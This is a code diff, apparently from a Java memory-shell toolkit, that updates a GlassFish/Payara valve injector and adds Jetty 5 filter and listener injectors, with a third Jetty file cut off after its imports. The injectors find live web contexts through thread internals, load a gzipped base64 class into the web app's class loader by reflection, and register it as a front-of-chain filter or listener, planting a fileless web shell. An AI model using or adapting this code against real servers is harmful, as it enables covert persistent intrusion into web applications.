contexts.addAll(children.values());
|
||||
if (children != null) {
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target == null) {
|
||||
// JDK 21+
|
||||
Object holder = getFieldValue(thread, "holder");
|
||||
if (holder != null) {
|
||||
target = getFieldValue(holder, "task");
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
/**
|
||||
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||
*/
|
||||
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||
Object container = getFieldValue(target, "this$0");
|
||||
if (container != null) {
|
||||
return container;
|
||||
}
|
||||
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
|
||||
+43
-1
@@ -76,7 +76,15 @@ public class GlassFishValveInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object container = getContainerFromProcessor(target);
|
||||
if (container == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
@@ -87,6 +95,40 @@ public class GlassFishValveInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
try {
|
||||
return getFieldValue(thread, "target");
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK 21+
|
||||
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||
*/
|
||||
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||
try {
|
||||
return getFieldValue(target, "this$0");
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
try {
|
||||
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||
Object base = getFieldValue(atomic, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
Object base = getFieldValue(target, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
|
||||
+297
@@ -0,0 +1,297 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5FilterInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5FilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
|
||||
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object filterHolder = invokeMethod(
|
||||
webApplicationHandler,
|
||||
"defineFilter",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{getClassName(), getClassName()});
|
||||
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||
invokeMethod(filterHolder, "start");
|
||||
}
|
||||
invokeMethod(
|
||||
webApplicationHandler,
|
||||
"addFilterPathMapping",
|
||||
new Class[]{String.class, String.class, int.class},
|
||||
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
|
||||
moveLastPathFilterToFront(webApplicationHandler);
|
||||
clearChainCache(webApplicationHandler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
private void moveLastPathFilterToFront(Object webApplicationHandler) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters != null && pathFilters.size() > 1) {
|
||||
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
|
||||
pathFilters.add(0, filterMapping);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void clearChainCache(Object webApplicationHandler) {
|
||||
clearCacheField(webApplicationHandler, "_chainCache");
|
||||
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||
}
|
||||
|
||||
private void clearCacheField(Object object, String name) {
|
||||
try {
|
||||
Object cache = getFieldValue(object, name);
|
||||
if (cache instanceof Map[]) {
|
||||
Map[] maps = (Map[]) cache;
|
||||
for (int i = 0; i < maps.length; i++) {
|
||||
if (maps[i] != null) {
|
||||
maps[i].clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+440
@@ -0,0 +1,440 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.EventListener;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5ListenerInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5ListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (hasListener(context)) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
try {
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
|
||||
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
}
|
||||
ensureJsr154Filter(webApplicationHandler);
|
||||
syncJsr154Filter(webApplicationHandler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
private boolean hasListener(Object context) throws Exception {
|
||||
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
|
||||
return true;
|
||||
}
|
||||
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
return hasWebApplicationHandlerListener(webApplicationHandler);
|
||||
}
|
||||
|
||||
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
|
||||
return true;
|
||||
}
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
|
||||
return true;
|
||||
}
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
|
||||
return true;
|
||||
}
|
||||
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
|
||||
}
|
||||
|
||||
private Object getFieldValueQuietly(Object obj, String name) {
|
||||
try {
|
||||
return getFieldValue(obj, name);
|
||||
} catch (Throwable ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private boolean containsListener(Object listeners) {
|
||||
if (listeners == null) {
|
||||
return false;
|
||||
}
|
||||
if (listeners instanceof List) {
|
||||
List list = (List) listeners;
|
||||
for (int i = 0; i < list.size(); i++) {
|
||||
if (isInjectedListener(list.get(i))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (listeners.getClass().isArray()) {
|
||||
int length = Array.getLength(listeners);
|
||||
for (int i = 0; i < length; i++) {
|
||||
if (isInjectedListener(Array.get(listeners, i))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
return isInjectedListener(listeners);
|
||||
}
|
||||
|
||||
private boolean isInjectedListener(Object listener) {
|
||||
return listener != null && listener.getClass().getName().contains(getClassName());
|
||||
}
|
||||
|
||||
private void ensureJsr154Filter(Object webApplicationHandler) {
|
||||
try {
|
||||
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
|
||||
if (filterHolder == null) {
|
||||
filterHolder = invokeMethod(webApplicationHandler,
|
||||
"defineFilter",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
|
||||
}
|
||||
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||
invokeMethod(filterHolder, "start");
|
||||
}
|
||||
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
|
||||
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
|
||||
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
|
||||
try {
|
||||
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
|
||||
invokeMethod(webApplicationHandler,
|
||||
"addFilterPathMapping",
|
||||
new Class[]{String.class, String.class, int.class},
|
||||
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
|
||||
}
|
||||
movePathFilterToFront(webApplicationHandler, "jsr154");
|
||||
clearChainCache(webApplicationHandler);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void syncJsr154Filter(Object webApplicationHandler) {
|
||||
try {
|
||||
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
|
||||
if (jsr154Filter == null) {
|
||||
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
|
||||
if (jsr154FilterHolder != null) {
|
||||
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
|
||||
}
|
||||
}
|
||||
if (jsr154Filter == null) {
|
||||
return;
|
||||
}
|
||||
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
|
||||
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters == null) {
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < pathFilters.size(); i++) {
|
||||
Object filterMapping = pathFilters.get(i);
|
||||
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||
String name = (String) invokeMethod(filterHolder, "getName");
|
||||
if (filterName.equals(name)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters == null || pathFilters.size() < 2) {
|
||||
return;
|
||||
}
|
||||
for (int i = 0; i < pathFilters.size(); i++) {
|
||||
Object filterMapping = pathFilters.get(i);
|
||||
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||
String name = (String) invokeMethod(filterHolder, "getName");
|
||||
if (filterName.equals(name)) {
|
||||
pathFilters.remove(i);
|
||||
pathFilters.add(0, filterMapping);
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void clearChainCache(Object webApplicationHandler) {
|
||||
clearCacheField(webApplicationHandler, "_chainCache");
|
||||
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||
}
|
||||
|
||||
private void clearCacheField(Object object, String name) {
|
||||
try {
|
||||
Object cache = getFieldValue(object, name);
|
||||
if (cache instanceof Map[]) {
|
||||
Map[] maps = (Map[]) cache;
|
||||
for (int i = 0; i < maps.length; i++) {
|
||||
if (maps[i] != null) {
|
||||
maps[i].clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
return;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+254
@@ -0,0 +1,254 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
